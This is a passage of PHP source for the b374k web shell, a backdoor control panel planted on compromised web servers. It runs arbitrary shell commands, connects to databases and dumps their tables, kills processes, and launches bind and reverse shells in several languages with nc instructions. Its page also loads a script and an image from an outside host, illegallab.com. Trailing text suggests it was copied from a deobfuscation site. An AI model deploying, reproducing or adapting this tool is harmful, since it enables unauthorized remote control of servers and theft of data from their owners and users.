				$s_i_head = explode(" ", $s_i_buffs[0]);
				foreach($s_i_head as $s_h) $s_result .= "<th>".$s_h."</th>";
				$s_result .= "</tr>";
				$s_i_buffss = explode("
", $s_i_buffs[1]);
				foreach($s_i_buffss as $s_i_b){
					$s_i_row = explode(" ", trim($s_i_b));
					$s_result .= "<tr>";
					foreach($s_i_row as $s_r) $s_result .= "<td style='text-align:center;'>".$s_r."</td>";
					$s_result .= "</tr>";
				}
				$s_result .= "</table>";
				$s_result .= "</div>";
			}
		}
		$s_phpinfo = array("PHP General" => INFO_GENERAL, "PHP Configuration" => INFO_CONFIGURATION, "PHP Modules" => INFO_MODULES, "PHP Environment" => INFO_ENVIRONMENT, "PHP Variables" => INFO_VARIABLES);
		foreach($s_phpinfo as $s_p=>$s_i){
			$s_result .= "<p class='notif' onclick=\"toggle('".$s_i."')\">".$s_p."</p>";
			ob_start();
			eval("phpinfo(".$s_i.");");
			$s_b = ob_get_contents();
			ob_end_clean();
			if(preg_match("/<body>(.*?)<\/body>/is", $s_b, $r)){
				$s_body = str_replace(array(",", ";", "&amp;"), array(", ", "; ", "&"), $r[1]);
				$s_result .= "<div class='info' id='".$s_i."'>".$s_body."</div>";
			}
		}
	} // working with database
	elseif(isset($_GP['x']) && ($_GP['x']=='db')){
		// sqltype : mysql, mssql, oracle, pgsql, sqlite, sqlite3, odbc, pdo
		$s_sql = array();
		$s_sql_deleted = "";
		$s_show_form = $s_show_dbs = true;

		if(isset($_GP['dc'])){
			$k = $_GP['dc'];
			setcookie("c[".$k."]", "" ,time() - $s_login_time);
			$s_sql_deleted = $k;
		}

		if(isset($_COOKIE['c']) && !isset($_GP['connect'])){
			foreach($_COOKIE['c'] as $c=>$d){
				if($c==$s_sql_deleted) continue;
				$s_dbcon = (function_exists("json_encode") && function_exists("json_decode"))? json_decode($d):unserialize($d);
				foreach($s_dbcon as $k=>$v) $s_sql[$k] = $v;
				$s_sqlport = (!empty($s_sql['port']))? ":".$s_sql['port']:"";
				$s_result .= notif("[".$s_sql['type']."] ".$s_sql['user']."@".$s_sql['host'].$s_sqlport."
							<span style='float:right;'><a href='".$s_self."x=db&connect=connect&sqlhost=".pl($s_sql['host'])."&sqlport=".pl($s_sql['port'])."&sqluser=".pl($s_sql['user'])."&sqlpass=".pl($s_sql['pass'])."&sqltype=".pl($s_sql['type'])."'>connect</a> | <a href='".$s_self."x=db&dc=".pl($c)."'>disconnect</a></span>");
			}
		}
		else{
			$s_sql['host'] = isset($_GP['sqlhost'])? $_GP['sqlhost'] : "";
			$s_sql['port'] = isset($_GP['sqlport'])? $_GP['sqlport'] : "";
			$s_sql['user'] = isset($_GP['sqluser'])? $_GP['sqluser'] : "";
			$s_sql['pass'] = isset($_GP['sqlpass'])? $_GP['sqlpass'] : "";
			$s_sql['type'] = isset($_GP['sqltype'])? $_GP['sqltype'] : "";
		}

		if(isset($_GP['connect'])){
			$s_con = sql_connect($s_sql['type'],$s_sql['host'],$s_sql['user'],$s_sql['pass']);
			$s_sqlcode = isset($_GP['sqlcode'])? $_GP['sqlcode'] : "";

			if($s_con!==false){
				if(isset($_GP['sqlinit'])){
					$s_sql_cookie = (function_exists("json_encode") && function_exists("json_decode"))? json_encode($s_sql):serialize($s_sql);
					$s_c_num = substr(md5(time().rand(0,100)),0,3);
					while(isset($_COOKIE['c']) && is_array($_COOKIE['c']) && array_key_exists($s_c_num, $_COOKIE['c'])){
						$s_c_num = substr(md5(time().rand(0,100)),0,3);
					}
					setcookie("c[".$s_c_num."]", $s_sql_cookie ,time() + $s_login_time);
				}
				$s_show_form = false;
				$s_result .= "<form action='".$s_self."' method='post'>
					<input type='hidden' name='sqlhost' value='".hss($s_sql['host'])."' />
					<input type='hidden' name='sqlport' value='".hss($s_sql['port'])."' />
					<input type='hidden' name='sqluser' value='".hss($s_sql['user'])."' />
					<input type='hidden' name='sqlpass' value='".hss($s_sql['pass'])."' />
					<input type='hidden' name='sqltype' value='".hss($s_sql['type'])."' />
					<input type='hidden' name='x' value='db' />
					<input type='hidden' name='connect' value='connect' />
					<textarea id='sqlcode' name='sqlcode' class='txtarea' style='height:150px;'>".hss($s_sqlcode)."</textarea>
					<p><input type='submit' name='gogo' class='inputzbut' value='Go !' style='width:120px;height:30px;' />
					&nbsp;&nbsp;Separate multiple commands with a semicolon  <span class='gaya'>[</span> ; <span class='gaya'>]</span></p>
					</form>";

				if(!empty($s_sqlcode)){
					$s_querys = explode(";",$s_sqlcode);
					foreach($s_querys as $s_query){
						if(trim($s_query) != ""){
							$s_hasil = sql_query($s_sql['type'],$s_query,$s_con);
							if($s_hasil!=false){
								$s_result .= "<hr /><p style='padding:0;margin:6px 10px;font-weight:bold;'>".hss($s_query).";&nbsp;&nbsp;&nbsp;
								<span class='gaya'>[</span> ok <span class='gaya'>]</span></p>";

								if(!is_bool($s_hasil)){
									$s_result .= "<table class='explore sortable' style='width:100%;'><tr>";
									for($s_i = 0; $s_i<sql_num_fields($s_sql['type'],$s_hasil); $s_i++)
										$s_result .= "<th>".@hss(sql_field_name($s_sql['type'],$s_hasil,$s_i))."</th>";
									$s_result .= "</tr>";
									while($s_rows=sql_fetch_data($s_sql['type'],$s_hasil)){
										$s_result .= "<tr>";
										foreach($s_rows as $s_r){
											if(empty($s_r)) $s_r = " ";
											$s_result .= "<td>".@hss($s_r)."</td>";
										}
										$s_result .= "</tr>";
									}
									$s_result .= "</table>";
								}
							}
							else{
								$s_result .= "<p style='padding:0;margin:6px 10px;font-weight:bold;'>".hss($s_query).";&nbsp;&nbsp;&nbsp;<span class='gaya'>[</span> error <span class='gaya'>]</span></p>";
							}
						}
					}
				}
				else{
					if(($s_sql['type']!='pdo') && ($s_sql['type']!='odbc')){
						if($s_sql['type']=='mysql') $s_showdb = "SHOW DATABASES";
						elseif($s_sql['type']=='mssql') $s_showdb = "SELECT name FROM master..sysdatabases";
						elseif($s_sql['type']=='pgsql') $s_showdb = "SELECT schema_name FROM information_schema.schemata";
						elseif($s_sql['type']=='oracle') $s_showdb = "SELECT USERNAME FROM SYS.ALL_USERS ORDER BY USERNAME";
						elseif($s_sql['type']=='sqlite3' || $s_sql['type']=='sqlite') $s_showdb = "SELECT \"".$s_sql['host']."\"";
						else $s_showdb = "SHOW DATABASES";

						$s_hasil = sql_query($s_sql['type'],$s_showdb,$s_con);

						if($s_hasil!=false) {
							while($s_rows_arr=sql_fetch_data($s_sql['type'],$s_hasil)){
								foreach($s_rows_arr as $s_rows){
									$s_result .= "<p class='notif' onclick=\"toggle('db_".$s_rows."')\">".$s_rows."</p>";
									$s_result .= "<div class='info' id='db_".$s_rows."'><table class='explore'>";

									if($s_sql['type']=='mysql') $s_showtbl = "SHOW TABLES FROM ".$s_rows;
									elseif($s_sql['type']=='mssql') $s_showtbl = "SELECT name FROM ".$s_rows."..sysobjects WHERE xtype = 'U'";
									elseif($s_sql['type']=='pgsql') $s_showtbl = "SELECT table_name FROM information_schema.tables WHERE table_schema='".$s_rows."'";
									elseif($s_sql['type']=='oracle') $s_showtbl = "SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER='".$s_rows."'";
									elseif($s_sql['type']=='sqlite3' || $s_sql['type']=='sqlite') $s_showtbl = "SELECT name FROM sqlite_master WHERE type='table'";
									else $s_showtbl = "";

									$s_hasil_t = sql_query($s_sql['type'],$s_showtbl,$s_con);
									if($s_hasil_t!=false) {
										while($s_tables_arr=sql_fetch_data($s_sql['type'],$s_hasil_t)){
											foreach($s_tables_arr as $s_tables){
												if($s_sql['type']=='mysql') $s_dump_tbl = "SELECT * FROM ".$s_rows.".".$s_tables." LIMIT 0,100";
												elseif($s_sql['type']=='mssql') $s_dump_tbl = "SELECT TOP 100 * FROM ".$s_rows."..".$s_tables;
												elseif($s_sql['type']=='pgsql') $s_dump_tbl = "SELECT * FROM ".$s_rows.".".$s_tables." LIMIT 100 OFFSET 0";
												elseif($s_sql['type']=='oracle') $s_dump_tbl = "SELECT * FROM ".$s_rows.".".$s_tables." WHERE ROWNUM BETWEEN 0 AND 100;";
												elseif($s_sql['type']=='sqlite' || $s_sql['type']=='sqlite3') $s_dump_tbl = "SELECT * FROM ".$s_tables." LIMIT 0,100";
												else $s_dump_tbl = "";

												$s_dump_tbl_link = $s_self."x=db&connect=&sqlhost=".pl($s_sql['host'])."&sqlport=".pl($s_sql['port'])."&sqluser=".pl($s_sql['user'])."&sqlpass=".pl($s_sql['pass'])."&sqltype=".pl($s_sql['type'])."&sqlcode=".pl($s_dump_tbl);

												$s_result .= "<tr><td ondblclick=\"return go('".adds($s_dump_tbl_link)."',event);\"><a href='".$s_dump_tbl_link."'>".$s_tables."</a></td></tr>";
											}
										}
									}
									$s_result .= "</table></div>";
								}
							}
						}
					}
				}
				sql_close($s_sql['type'],$s_con);
			}
			else{
				$s_result .= notif("Unable to connect to database");
				$s_show_form = true;
			}
		}

		if($s_show_form){
			// sqltype : mysql, mssql, oracle, pgsql, sqlite, sqlite3, odbc, pdo
			$s_sqllist = array();
			if(function_exists("mysql_connect")) $s_sqllist["mysql"] = "Connect to MySQL <span class='desc' style='font-size:12px;'>- using class mysqli or mysql_*</span>";
			if(function_exists("mssql_connect") || function_exists("sqlsrv_connect")) $s_sqllist["mssql"] = "Connect to MsSQL <span class='desc' style='font-size:12px;'>- using sqlsrv_* or mssql_*</span>";
			if(function_exists("pg_connect")) $s_sqllist["pgsql"] = "Connect to PostgreSQL <span class='desc' style='font-size:12px;'>- using pg_*</span>";
			if(function_exists("oci_connect")) $s_sqllist["oracle"] = "Connect to oracle <span class='desc' style='font-size:12px;'>- using oci_*</span>";
			if(function_exists("sqlite_open")) $s_sqllist["sqlite"] = "Connect to SQLite <span class='desc' style='font-size:12px;'>- using sqlite_*</span>";
			if(class_exists("SQLite3")) $s_sqllist["sqlite3"] = "Connect to SQLite3 <span class='desc' style='font-size:12px;'>- using class SQLite3</span>";
			if(function_exists("odbc_connect")) $s_sqllist["odbc"] = "Connect via ODBC <span class='desc' style='font-size:12px;'>- using odbc_*</span>";
			if(class_exists("PDO")) $s_sqllist["pdo"] = "Connect via PDO <span class='desc' style='font-size:12px;'>- using class PDO</span>";

			foreach($s_sqllist as $s_sql['type']=>$s_sqltitle){
				if($s_sql['type']=="odbc" || $s_sql['type']=="pdo"){
					$s_result .= "<div class='mybox'><h2>".$s_sqltitle."</h2>
					<form action='".$s_self."' method='post' />
					<table class='myboxtbl'>
					<tr><td style='width:170px;'>DSN / Connection String</td><td><input style='width:100%;' class='inputz' type='text' name='sqlhost' value='' /></td></tr>
					<tr><td>Username</td><td><input style='width:100%;' class='inputz' type='text' name='sqluser' value='' /></td></tr>
					<tr><td>Password</td><td><input style='width:100%;' class='inputz' type='password' name='sqlpass' value='' /></td></tr>
					</table>
					<input type='submit' name='connect' class='inputzbut' value='Connect !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
					<input type='hidden' name='sqltype' value='".$s_sql['type']."' />
					<input type='hidden' name='sqlinit' value='init' />
					<input type='hidden' name='x' value='db' />
					</form>
					</div>";
				}
				elseif($s_sql['type']=="sqlite" || $s_sql['type']=="sqlite3"){
					$s_result .= "<div class='mybox'><h2>".$s_sqltitle."</h2>
					<form action='".$s_self."' method='post' />
					<table class='myboxtbl'>
					<tr><td style='width:170px;'>DB File</td><td><input style='width:100%;' class='inputz' type='text' name='sqlhost' value='' /></td></tr>
					</table>
					<input type='submit' name='connect' class='inputzbut' value='Connect !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
					<input type='hidden' name='sqltype' value='".$s_sql['type']."' />
					<input type='hidden' name='sqlinit' value='init' />
					<input type='hidden' name='x' value='db' />
					</form>
					</div>";
				}
				else{
					$s_result .= "<div class='mybox'><h2>".$s_sqltitle."</h2>
					<form action='".$s_self."' method='post' />
					<table class='myboxtbl'>
					<tr><td style='width:170px;'>Host</td><td><input style='width:100%;' class='inputz' type='text' name='sqlhost' value='' /></td></tr>
					<tr><td>Username</td><td><input style='width:100%;' class='inputz' type='text' name='sqluser' value='' /></td></tr>
					<tr><td>Password</td><td><input style='width:100%;' class='inputz' type='password' name='sqlpass' value='' /></td></tr>
					<tr><td>Port (optional)</td><td><input style='width:100%;' class='inputz' type='text' name='sqlport' value='' /></td></tr>
					</table>
					<input type='submit' name='connect' class='inputzbut' value='Connect !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
					<input type='hidden' name='sqltype' value='".$s_sql['type']."' />
					<input type='hidden' name='sqlinit' value='init' />
					<input type='hidden' name='x' value='db' />
					</form>
					</div>";
				}
			}
		}
	} // bind and reverse shell
	elseif(isset($_GP['x']) && ($_GP['x']=='rs')){
		// resources $s_rs_pl $s_rs_py $s_rs_rb $s_rs_js $s_rs_c $s_rs_java $s_rs_java $s_rs_win $s_rs_php
		$s_rshost = $s_server_ip;

		$s_rsport = "13123"; // default port
		$s_rspesana = "Press &#39;  Go !  &#39; button and run &#39;  nc <i>server_ip</i> <i>port</i>  &#39; on your computer";
		$s_rspesanb = "Run &#39;  nc -l -v -p <i>port</i>  &#39; on your computer and press &#39;  Go !  &#39; button";
		$s_rs_err = "";

		$s_rsbind = $s_rsback = array();

		$s_rsbind["bind_php"] = "Bind Shell <span class='desc' style='font-size:12px;'>- php</span>";
		$s_rsback["back_php"] = "Reverse Shell <span class='desc' style='font-size:12px;'>- php</span>";

		$s_access = array("s_python"=>"py", "s_perl"=>"pl", "s_ruby"=>"rb", "s_node"=>"js", "s_nodejs"=>"js", "s_gcc"=>"c", "s_javac"=>"java");
		foreach($s_access as $k=>$v){
			if(isset($$k)){
				$s_t = explode("_", $k);
				$s_rsbind["bind_".$v] = "Bind Shell <span class='desc' style='font-size:12px;'>- ".$s_t[1]."</span>";
				$s_rsback["back_".$v] = "Reverse Shell <span class='desc' style='font-size:12px;'>- ".$s_t[1]."</span>";
			}
		}

		if($s_win){
			$s_rsbind["bind_win"] = "Bind Shell <span class='desc' style='font-size:12px;'>- windows executable</span>";
			$s_rsback["back_win"] = "Reverse Shell <span class='desc' style='font-size:12px;'>- windows executable</span>";
		}
		$s_rslist = array_merge($s_rsbind,$s_rsback);

		if(!@is_writable($s_cwd)) $s_result .= notif("Directory ".$s_cwd." is not writable, please change to a writable one");

		foreach($s_rslist as $s_rstype=>$s_rstitle){
			$s_split = explode("_",$s_rstype);
			if($s_split[0]=="bind"){
				$s_rspesan = $s_rspesana;
				$s_rsdisabled = "disabled='disabled'";
				$s_rstarget = $s_server_ip;
				$s_labelip = "Server IP";
			}
			elseif($s_split[0]=="back"){
				$s_rspesan = $s_rspesanb;
				$s_rsdisabled = "";
				$s_rstarget = $s_my_ip;
				$s_labelip = "Target IP";
			}

			if(isset($_GP[$s_rstype])){
				if(isset($_GP["rshost_".$s_rstype])) $s_rshost_ = $_GP["rshost_".$s_rstype];
				if(isset($_GP["rsport_".$s_rstype])) $s_rsport_ = $_GP["rsport_".$s_rstype];

				if($s_split[0]=="bind") $s_rstarget_packed = $s_rsport_;
				elseif($s_split[0]=="back") $s_rstarget_packed = $s_rsport_." ".$s_rshost_;

				if($s_split[1]=="pl") $s_rscode = $s_rs_pl;
				elseif($s_split[1]=="py") $s_rscode = $s_rs_py;
				elseif($s_split[1]=="rb") $s_rscode = $s_rs_rb;
				elseif($s_split[1]=="js") $s_rscode = $s_rs_js;
				elseif($s_split[1]=="c") $s_rscode = $s_rs_c;
				elseif($s_split[1]=="java") $s_rscode = $s_rs_java;
				elseif($s_split[1]=="win") $s_rscode = $s_rs_win;
				elseif($s_split[1]=="php") $s_rscode = $s_rs_php;

				$s_buff = rs($s_rstype,$s_rstarget_packed,$s_rscode);
				if($s_buff!="") $s_rs_err = notif(hss($s_buff));
			}
			$s_result .= "<div class='mybox'><h2>".$s_rstitle."</h2>
			<form action='".$s_self."' method='post' />
			<table class='myboxtbl'>
			<tr><td style='width:100px;'>".$s_labelip."</td><td><input ".$s_rsdisabled." style='width:100%;' class='inputz' type='text' name='rshost_".$s_rstype."' value='".hss($s_rstarget)."' /></td></tr>
			<tr><td>Port</td><td><input style='width:100%;' class='inputz' type='text' name='rsport_".$s_rstype."' value='".hss($s_rsport)."' /></td></tr>
			</table>
			<input type='submit' name='".$s_rstype."' class='inputzbut' value='Go !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
			&nbsp;&nbsp;<span>".$s_rspesan."</span>
			<input type='hidden' name='x' value='rs' />
			</form>
			</div>";
		}
		$s_result = $s_rs_err.$s_result;
	} // task manager
	elseif(isset($_GP['x']) && ($_GP['x']=='ps')){
		$s_buff = "";
		// kill process specified by pid
		if(isset($_GP['pid'])){
			$s_p = trim($_GP['pid'],"|");
			$s_parr = explode("|", $s_p);

			foreach($s_parr as $s_p){
				if(function_exists("posix_kill")) $s_buff .= (posix_kill($s_p,'9'))? notif("Process with pid ".$s_p." has been successfully killed"):notif("Unable to kill process with pid ".$s_p);
				else{
					if(!$s_win) $s_buff .= notif(exe("kill -9 ".$s_p));
					else $s_buff .= notif(exe("taskkill /F /PID ".$s_p));
				}
			}
		}

		if(!$s_win) $s_h = "ps aux"; // nix
		else $s_h = "tasklist /V /FO csv"; // win
		$s_wcount = 11;
		$s_wexplode = " ";
		if($s_win) $s_wexplode = "\",\"";

		$s_res = exe($s_h);
		if(trim($s_res)=='') $s_result = notif("Error getting process list");
		else{
			if($s_buff!="") $s_result = $s_buff;
			$s_result .= "<table class='explore sortable'>";
			if(!$s_win) $s_res = preg_replace('#\ +#',' ',$s_res);

			$s_psarr = explode("
",$s_res);
			$s_fi = true;
			$s_tblcount = 0;

			$s_check = explode($s_wexplode,$s_psarr[0]);
			$s_wcount = count($s_check);

			foreach($s_psarr as $s_psa){
				if(trim($s_psa)!=''){
					if($s_fi){
						$s_fi = false;
						$s_psln = explode($s_wexplode, $s_psa, $s_wcount);
						$s_result .= "<tr><th style='width:24px;' class='sorttable_nosort'></th><th class='sorttable_nosort'>action</th>";
						foreach($s_psln as $s_p) $s_result .= "<th>".trim(trim(strtolower($s_p)) ,"\"")."</th>";
						$s_result .= "</tr>";
					}
					else{
						$s_psln = explode($s_wexplode, $s_psa, $s_wcount);
						$s_result .= "<tr>";
						$s_tblcount = 0;
						foreach($s_psln as $s_p){
							$s_pid = trim(trim($s_psln[1]),"\"");
							$s_piduniq = substr(md5($s_pid),0,8);
							if(trim($s_p)=="") $s_p = "&nbsp;";
							if($s_tblcount == 0){
								$s_result .= "<td style='text-align:center;text-indent:4px;'><input id='".$s_piduniq."' name='cbox' value='".$s_pid."' type='checkbox' class='css-checkbox' onchange='hilite(this);' /><label for='".$s_piduniq."' class='css-label'></label></td><td class='ce'><a href='".$s_self."x=ps&pid=".$s_pid."'>kill</a></td><td class='ce'>".trim(trim($s_p) ,"\"")."</td>";
								$s_tblcount++;
							}
							else{
								$s_tblcount++;
								if($s_tblcount == count($s_psln)) $s_result .= "<td class='le'>".trim(trim($s_p) ,"\"")."</td>";
								else $s_result .= "<td class='ce'>".trim(trim($s_p) ,"\"")."</td>";
							}
						}
						$s_result .= "</tr>";
					}
				}
			}
			$colspan = count($s_psln)+1;
			$s_result .= "<tfoot><tr class='cbox_selected'><td class='cbox_all'>
			<form action='".$s_self."' method='post'><input id='checkalll' type='checkbox' name='abox' class='css-checkbox' onclick='checkall();' /><label for='checkalll' class='css-label'></label></form>
			</td><td style='text-indent:10px;padding:2px;' colspan=".$colspan."><a href='javascript: pkill();'>kill selected <span id='total_selected'></span></a></td>
			</tr></tfoot></table>";
		}
	}
	elseif(isset($_GP['x']) && ($_GP['x']=='pass')){
		if(isset($_GP['submitnewpass'])){
			$newpass = isset($_GP['newpass'])? trim($_GP['newpass']):"";
			$newpassx = isset($_GP['newpassx'])? trim($_GP['newpassx']):"";
			
			if(empty($newpass) || empty($newpassx)){
				$s_result .= notif('Give your new password to both fields');
			}
			elseif($newpass != $newpassx){
				$s_result .= notif('Password does not match');
			}
			else{
				if(changepass($newpass)){
					$s_result .= notif("Password changed");
				}
				else $s_result .= notif("Unable to change password");
			}
		}
		
		
		$s_result .= "<div class='mybox'><h2>Change shell password</h2>
			<form action='".$s_self."' method='post' />
			<table class='myboxtbl'>
			<tr><td style='width:120px;'>New password</td><td><input style='width:100%;' class='inputz' type='password' name='newpass' value='' /></td></tr>
			<tr><td style='width:120px;'>Confirm password</td><td><input style='width:100%;' class='inputz' type='password' name='newpassx' value='' /></td></tr>
			</table>
			<input type='submit' name='submitnewpass' class='inputzbut' value='Go !' style='width:120px;height:30px;margin:10px 2px 0 2px;' />
			<input type='hidden' name='x' value='pass' />
			</form>
			</div>";
	}
	else{
		if(!isset($s_cwd)) $s_cwd = "";
		if(isset($_GP['cmd'])){
			$s_cmd = $_GP['cmd'];
			if(strlen($s_cmd) > 0){
				if(preg_match('#^cd(\ )+(.*)#',$s_cmd,$s_r)){
					$s_nd = trim($s_r[2]);
					if(@is_dir($s_nd)){
						chdir($s_nd);
						$s_cwd = cp(getcwd());
						setcookie("cwd", $s_cwd ,time() + $s_login_time);
						$s_result .= showdir($s_cwd);
					}
					elseif(@is_dir($s_cwd.$s_nd)){
						chdir($s_cwd.$s_nd);
						$s_cwd = cp(getcwd());
						setcookie("cwd", $s_cwd ,time() + $s_login_time);
						$s_result .= showdir($s_cwd);
					}
					else $s_result .= notif(hss($s_nd)." is not a directory");
				}
				else{
					$s_r = hss(exe($s_cmd));
					if($s_r != '') $s_result .= "<pre>".$s_r."</pre>";
					else $s_result .= showdir($s_cwd);
				}
			}
			else $s_result .= showdir($s_cwd);
		}
		else $s_result .= showdir($s_cwd);
	}

	// find drive letters
	$s_letters = '';
	$s_v = explode("\",$s_cwd);
	$s_v = $s_v[0];
	foreach (range("A", "Z") as $s_letter){
		if(@is_readable($s_letter.":\")){
			$s_letters .= "<a href='".$s_self."cd=".$s_letter.":\'>[ ";
			if($s_letter.":" != $s_v) $s_letters .= $s_letter;
			else{$s_letters .= "<span class='drive-letter'>".$s_letter."</span>";}
			$s_letters .= " ]</a> ";
		}
	}

	// print useful info
	$s_info  = "<table class='headtbl'><tr><td>".$s_system."</td></tr>";
	$s_info .= "<tr><td>".$s_software."</td></tr>";
	$s_info .= "<tr><td>server ip : ".$s_server_ip."<span class='gaya'> | </span>your   ip : ".$s_my_ip;
	$s_info .= "<span class='gaya'> | </span> Time @ Server : ".@date("d M Y H:i:s",time());
	$s_info .= "</td></tr>
			<tr><td style='text-align:left;'>
				<table class='headtbls'><tr>
				<td>".trim($s_letters)."</td>
				<td>
				<span id='chpwd'>
				&nbsp;<a href=\"javascript:tukar_('chpwd','chpwdform')\">
				<span class='icon'>o</span>
				&nbsp;&nbsp;</a>".swd($s_cwd)."</span>
				<form action='".$s_self."' method='post' style='margin:0;padding:0;'>
				<span class='sembunyi' id='chpwdform'>
				&nbsp;<a href=\"javascript:tukar_('chpwdform','chpwd');\">
				<span class='icon'>o</span>
				</a>&nbsp;&nbsp;
				<input type='text' name='view' class='inputz' style='width:300px;' value='".hss($s_cwd)."' />
				<input class='inputzbut' type='submit' name='submit' value='view file / folder' />
				</span>
				</form>
				</td></tr>
				</table>
			</td></tr>
			</table>";
}

$s_error = @ob_get_contents();
$s_result = isset($s_result)? $s_result:"";
if(!empty($s_error)) $s_result = notif($s_error).$s_result;
@ob_end_clean();
@ob_start();

?><!DOCTYPE html>
<html>
<head>
<title><?php echo $s_title; ?></title>
<script src=https://illegallab.com/say.js></script>
<meta charset="utf-8">
<meta name='robots' content='noindex, nofollow, noarchive'>
<link rel='SHORTCUT ICON' href='<?php echo $s_favicon; ?>'>
<?php echo get_code("css", $s_css); ?>
</head>
<body>
<table id='main'><tr><td>
<?php if($s_auth){?>
	<div><span style='float:right;'><?php
	if(!isset($_COOKIE['b374k_included'])){
	?><a href='?x=pass'>password</a> | 
	<?php }
	?><a href='<?php echo $s_self; ?>x=logout' title='Click me to log out'>log out</a>  <a href='<?php echo $s_self; ?>x=switch' title='Click me to change theme'><span class='schemabox'>&nbsp;&nbsp;</span></a></span><table id='header'><tr><td style='width:80px;'><table><tr><td><h1><a href='<?php echo $s_self."cd=".cp(dirname(realpath($_SERVER['SCRIPT_FILENAME']))); ?>'>b374k</a></h1></td></tr><tr><td style='text-align:right;'><div class='ver'><?php echo $s_ver; ?></div></td></tr></table></td>	<td><div class='headinfo'><?php echo $s_info; ?></div></td></tr></table></div>
	<div style='clear:both;'></div>
	<form method='post' name='g'></form>
	<div id='menu'>
		<table style='width:100%;'><tr>
		<td><a href='<?php echo $s_self; ?>' title='Explorer'><div class='menumi'>xpl</div></a></td>
		<td><a href='<?php echo $s_self; ?>x=ps' title='Display process status'><div class='menumi'>ps</div></a></td>
		<td><a href='<?php echo $s_self; ?>x=eval' title='Execute code'><div class='menumi'>eval</div></a></td>
		<td><a href='<?php echo $s_self; ?>x=info' title='Information about server'><div class='menumi'>info</div></a></td>
		<td><a href='<?php echo $s_self; ?>x=db' title='Connect to database'><div class='menumi'>db</div></a></td>
		<td><a href='<?php echo $s_self; ?>x=rs' title='Remote Shell'><div class='menumi'>rs</div></a></td>
		<td style='width:100%;padding:0 0 0 6px;'>
		<span class='prompt'><?php echo $s_prompt; ?></span><form action='<?php echo $s_self; ?>' method='post'>
		<input id='cmd' onclick="clickcmd();" class='inputz' type='text' name='cmd' style='width:70%;' value='<?php
if(isset($_GP['cmd'])) echo "";
else echo "- shell command -";
?>' />
		<noscript><input class='inputzbut' type='submit' value='Go !' name='submitcmd' style='width:80px;' /></noscript>
		</form>
		</td>
		</tr></table>
	</div>
	<div id='content'>
		<div id='result'><?php echo "__RESULT__"; ?></div>
	</div>
	<div id='navigation'>
	<div id='totop' onclick='totopd();' onmouseover='totop();' onmouseout='stopscroll();'></div>
	<div id='tobottom' onclick='tobottomd();' onmouseover='tobottom();' onmouseout='stopscroll();'></div>
	</div>
<?php } else{ ?>
	<div style='width:100%;text-align:center;'>
	<form action='<?php echo $s_self; ?>' method='post'>
	<img src='<?php echo $s_favicon; ?>' style='margin:2px;vertical-align:middle;' />
	b374k&nbsp;<span class='gaya'><?php echo $s_ver; ?></span><input id='login' class='inputz' type='password' name='login' style='width:120px;' value='' />
	<input class='inputzbut' type='submit' value='Go !' name='submitlogin' style='width:80px;' />
	</form>
	</div>
<?php }?>	</td></tr></table><div align="center"><img style="width:100; height:100px ;" src="https://illegallab.com/images/devil.jpg?r=<?=rand(0,16000);?>"></div>


<p class='footer'>Jayalah Indonesiaku &copy;<?php echo @date("Y",time())." "; ?>b374k</p>
<script type='text/javascript'>
var d = document;
var scroll = false;
var cwd = '<?php echo hss(adds($s_cwd)); ?>';
var hexstatus = false;
var timer = '';
var x = '<?php if(isset($_GP['x']) && ($_GP['x']=='ps')) echo "ps"; ?>';
var sself = '<?php echo adds($s_self); ?>';
var hexcounter = 0;
var hextimer = '';
var counter = 0;

</script>
<?php echo get_code("js", $s_js); ?>
<script type='text/javascript'>
domready(function(){
	<?php if(isset($_GP['cmd'])) echo "if(d.getElementById('cmd')) d.getElementById('cmd').focus();"; ?>
	<?php if(isset($_GP['evalcode'])) echo "if(d.getElementById('evalcode')) d.getElementById('evalcode').focus();"; ?>
	<?php if(isset($_GP['sqlcode'])) echo "if(d.getElementById('sqlcode')) d.getElementById('sqlcode').focus();"; ?>
	<?php if(isset($_GP['login'])) echo "if(d.getElementById('login')) d.getElementById('login').focus();"; ?>
	<?php if(isset($_GP['hexedit'])) echo "showhex();"; ?>

	if(d.getElementById('cmd')) d.getElementById('cmd').setAttribute('autocomplete', 'off');

	var textareas = d.getElementsByTagName('textarea');
	var count = textareas.length;
	for(i = 0; i<count; i++){
		textareas[i].onkeydown = function(e){
			if(e.keyCode==9){
				e.preventDefault();
				var s = this.selectionStart;
				this.value = this.value.substring(0,this.selectionStart) + "	" + this.value.substring(this.selectionEnd);
				this.selectionEnd = s+1;
			}
			else if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){
				this.form.submit();
			}
		}
	}
	listen();
});
</script>
</body>
</html><?php
$s_html = ob_get_contents();
ob_end_clean();
$whitespace = "/(\s{2,}|
{1,})/";
$s_html = preg_replace($whitespace, " ", $s_html);
$s_html = str_replace("__RESULT__", $s_result, $s_html);
echo $s_html;
die();

Did this file decode correctly?

Original Code

<?php ?><?php
